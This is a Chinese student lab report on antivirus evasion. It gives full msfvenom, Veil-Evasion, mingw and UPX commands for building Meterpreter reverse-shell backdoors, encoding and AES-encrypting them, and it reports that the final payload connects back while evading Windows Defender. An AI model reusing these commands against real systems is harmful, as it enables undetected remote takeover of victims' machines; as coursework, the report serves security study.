92
社区成员
![](https://csdnimg.cn/release/cmsfe/public/img/topic.427195d5.png)
![](https://csdnimg.cn/release/cmsfe/public/img/me.40a70ab0.png)
![](https://csdnimg.cn/release/cmsfe/public/img/task.87b52881.png)
![](https://csdnimg.cn/release/cmsfe/public/img/share-circle.3e0b7822.png)
- 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧,或生成其他类型文件;
- 通过Veil等工具对目标程序进行加壳或者其他操作来实现免杀;
- 使用C+ShellCode编程实现免杀;
- 用主机与虚拟机实测,在杀软开启的情况下,可运行并回连成功。
(1)杀软是如何检测出恶意代码的?
(2)免杀是做什么?
(3)免杀的基本方法有哪些?
首先通过编辑器msf生成一个正常的后门程序,命令如下所示
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.138 LPORT=2320 -f exe > 20212320tl.exe
我们打开https://www.virustotal.com/gui/home/upload网站,进行检测。如下图所示,可以看到检测率为56/71,不加任何处理的后门程序大多数杀软都可以检测得到,因此我们用msf编码器对后门程序进行一次到多次的编码,查看编码后的检测效果。
接下来生成一次编码的程序
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.216.138 LPORT=23200 -f exe > 20212320tl_backdoor.exe
上传该程序进行检测。结果如下所示,
经过对比发现如果仅仅是通过msf编辑器对后门程序进行处理生成.exe文件并不能有效的实现免杀,在处理前后都能被大部分的杀软识别出来,甚至被检测出来的概率都增加了。
那么接下来生成其他类型的文件,来与exe文件进行对比,首先是.jar文件
,如下命令
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.216.138 LPORT=2320 -f jar > 20212320tl.jar
传入VirusTotal检测,结果如下。较之前检测率有所下降
接下来生成.php文件
,如下所示。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.216.138 LPORT=2320 x > 20212320tl.php
传入VirusTotal检测,结果如下。检测率有所下降
最后我们生成py文件
,如下所示
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.216.138 LPORT=2320 -f py > 20212320tl.py
传入VirusTotal检测,结果如下。检测率为0
首先是安装veil,本次的安装还算顺利。最开始因为容量不够导致安装失败,要想安装成功首先必须要保障Kali机有足够的容量!。其次关于很多安装的方式,我最开始参照如下的代码,安装失败。
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
不如直接sudo apt-get install veil
安装,成功。如下是一些安装过程的截图。包括中间会弹出来的python和win32。
安装完成后,使用如下指令进入Evasion模块。选择攻击载荷
use evasion //或者use 1
use c/meterpreter/rev_tcp.py
如下图所示
接下来输入如下命令,对地址和端口进行配置,再使用generate指令生成.exe文件
selected
set LHOST 192.168.216.138
set LPORT 2320
generate
然后输入生成的文件名即可
导出生成的文件
cd var
cd lib
cd veil
cd output
cd compiled
cp 20212320_veil.exe /exp3
将生成的程序传入VirusTotal检测,结果如下所示
但是发现检测率并没有那么理想
使用下面指令生成一段shellcode。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.138 LPORT=2320 -f c
使用touch 20212320.c
新建一个.c空文件并将这一段ShellCode填入,加入主函数,填完后.c文件。使用
i686-w64-mingw32-g++ 20212320.c -o 20212320.exe
但是发现检测率也不是很好
使用如下命令将刚刚生成的shellcode进行加壳
upx 20212320.exe -o 20212320shellcode.exe
但是加壳之后的检测结果反而更差了!
首先使用联想自带的电脑管家对实验生成的几个文件进行手动的查杀,发现均被检测出来。
为了保证安全性,就尝试给这个文件再加一层加密壳,使用如下指令。
veil
use Evasion
use python/shellcode_inject/aes_encrypt.py
generate
//选择2
//设置本虚拟机IP和任意端口
如下图所示。
接下来在生成的时候会报错,但是实际上文件已经生成了,再同之前一样进入文件目录导出来。如下图所示
此时再去检测,在virustotal检测已经发现检测率为0,不过我使用电脑管家还是能查出来...
主机:Windows11
虚拟机:Kali2024.1
杀毒软件:联想自带的电脑管家
这里借鉴往届学长们的博客,使用python+aes_encrypt
,使用如下命令生成.raw
文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.216.138 lport=2320 -f raw -o 20212320.raw
然后直接将生成的.raw文件粘贴至本机中,如果还是使用nc传输的话还是会出现0kb的情况。然后可以开始进行回连。shellcode_luncher.exe需要下载。下载的链接https://gitee.com/vantler/shellcode_launcher/。结果如下图所示。
回连成功。接下来使用联想电脑管家查杀和Windows defender查杀,均检测不出,成功躲过杀软。virustotal的检测率也为0
问题一:shellcode_luncher.exe不能直接在Windows下的文件夹下打开终端(power shell
)运行。否则会出现如下图所示的情况。运行一会就会自动结束。
问题一的解决方法: 使用win+r进入cmd,一步步输入文件目录再运行。参见2.6部分。PowerShell使用一种称为PowerShell语言的新语法,该语法类似于其他编程语言,具有更丰富的功能和更高级的命令。而CMD使用的是旧的MS-DOS语法,命令更加简单直接。两者有共同之处但也有很多不一样的地方。
问题二:关于veil安装失败的问题
问题二的解决方法:目前的经验是,如果容量不够必定会失败,如果按照Kali最开始的默认安装容量大概率是不够的,需要扩容。其次直接使用sudo apt-get install veil,apt -y install veil /usr/share/veil/config/setup.sh --force --silent这个命令可能不太好安装,因为是从外网连接来下,不稳定。
本次实验主要围绕着免杀原理进行一些实践,包括生成不同类型的文件、加壳、多种技术的组合等,不过实践的效果发现除了生成py文件,在virustotal上都没有一个很好的检测效果。
这个实验给我一个很深的体会是:针对电脑中的恶意代码,不能完全的信任自己电脑中的杀毒软件,有些恶意代码会层层伪装,跳过杀毒软件的侦察实现其目的,更多还是要从个人出发,从源头出发,保护好自己计算机的安全。
免杀原理有一个实现方式是运行时加密。即在恶意软件执行时,使用加密技术对关键代码或数据进行加密和解密。这可以使得恶意软件在存储和传输过程中难以被检测,因为在静态分析时无法直接获取到明文代码。本次实验使用到了aes加密,也顺利通过virustotal。目前单一的免杀难以躲过杀毒软件的检测,需要多种原理结合使用。实际操作中,我们可以定期审计系统和应用程序的安全配置,记录关键操作和事件的日志,以便追踪和调查安全事件。